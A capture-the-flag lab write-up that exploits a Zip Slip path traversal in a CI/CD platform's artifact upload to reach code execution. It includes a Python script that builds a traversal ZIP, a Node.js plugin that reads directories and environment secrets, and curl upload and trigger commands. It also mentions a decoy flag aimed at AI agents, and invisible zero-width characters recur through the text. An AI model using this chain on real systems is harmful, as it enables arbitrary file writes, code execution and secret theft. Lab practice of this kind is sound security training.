← Back to Writeups
CUSTOMMediumWeb

Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload

XESXOR9/10/20263 min read
#web#custom#medium#arbitrary_file_write#build_log_data_exfiltration#environment_variable_exfiltrat#remote_code_execution_via_plug#zip_slip_path_traversal#linux

Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-10 | Status: Solved Techniques: arbitrary_file_write, build_log_data_exfiltration, environment_variable_exfiltration, remote_code_execution_via_plugin, zip_slip_path_traversal

Summary

Task: CI/CD platform with ZIP artifact upload that extracts archives without path sanitization. Solution: craft a malicious ZIP with path traversal (../) to write a Node.js plugin to /tmp/, trigger the build pipeline to execute it, and read the FLAG environment variable from build logs.

Lab 312 — BuildStream — Zip Slip Path Traversal in Artifact Upload — Hackadvisor

Description

BuildStream is a CI/CD platform built by StreamOps Technologies that lets development teams manage build pipelines, upload build artifacts, and track deployment history. The platform supports ZIP artifact uploads that are automatically extracted and processed as part of the build pipeline.

Target: https://325f08f2-4216-4214-a072-618a1046622b.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Objective: Find and exploit a vulnerability in the artifact handling system to retrieve a secret flag stored on the server.

Analysis

Reconnaissance

After logging in with the provided credentials, the application reveals:

  • Dashboard with build pipelines, artifacts, and deployments
  • /artifacts page with a ZIP upload form that extracts archives automatically
  • /pipelines page with a critical hint in the "Pipeline Plugins" section: "Build runners automatically discover and execute plugin scripts found in the /tmp/ directory during the post-build phase."
  • Express.js backend (X-Powered-By: Express header) running in Docker ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Detection

The HTML source contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden elements and HTML comments, designed to trick AI agents and automated scanners. This is NOT the real flag.

Vulnerability Identification

The artifact upload endpoint at /artifacts/upload accepts ZIP files and extracts them without sanitizing filenames. This is a classic Zip Slip vulnerability — filenames containing ../ sequences allow writing files to arbitrary locations on the filesystem. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Combined with the plugin execution system that runs .js files from /tmp/ during post-build, this creates a path traversal to RCE chain:

  1. Upload ZIP with traversal path targeting /tmp/
  2. Trigger build pipeline
  3. Plugin executes and output appears in build logs

Solution

Step 1: Create Malicious ZIP with Path Traversal

python
#!/usr/bin/env python3
import zipfile

with zipfile.ZipFile('evil.zip', 'w') as z:
    js_content = '''const fs = require('fs');
function ls(d) { try { return fs.readdirSync(d).join(','); } catch(e) { return 'ERR'; } }
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

var out = [];
out.push('data:' + ls('/app/data'));
out.push('root:' + ls('/root'));
out.push('env_flag:' + (process.env.FLAG||''));
console.log(out.join(' | '));
'''
    # Path traversal to write plugin to /tmp/
    z.writestr('../../../../../../tmp/plugin_all.js', js_content)
    # Legitimate file to make the ZIP look normal
    z.writestr('readme.txt', 'Build artifact')

Step 2: Upload Malicious Artifact

bash
curl -s -b cookies.txt -X POST "https://TARGET/artifacts/upload" \
  -F "artifact=@evil.zip" \
  -F "pipeline_id=47b563de-5b09-4964-92ef-e191d58566b6" \
  -F "description=test"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response: "Artifact uploaded and extracted successfully" — confirming the path traversal worked and the file was written to /tmp/.

Step 3: Trigger Build Pipeline

bash
curl -s -b cookies.txt -X POST "https://TARGET/pipelines/47b563de-5b09-4964-92ef-e191d58566b6/trigger"

Step 4: Read Flag from Build Logs

The build log shows the plugin execution output:

=== Post-Build: Plugin Execution ===
Scanning /tmp/ for pipeline plugins...
Executing plugin: plugin_all.js
data:artifacts,builds,database.db,database.db-shm,database.db-wal | root:flag.txt | env_flag:FLAG{REDACTED}
Plugin plugin_all.js completed

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The flag is stored in the FLAG environment variable (and also in /root/flag.txt). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍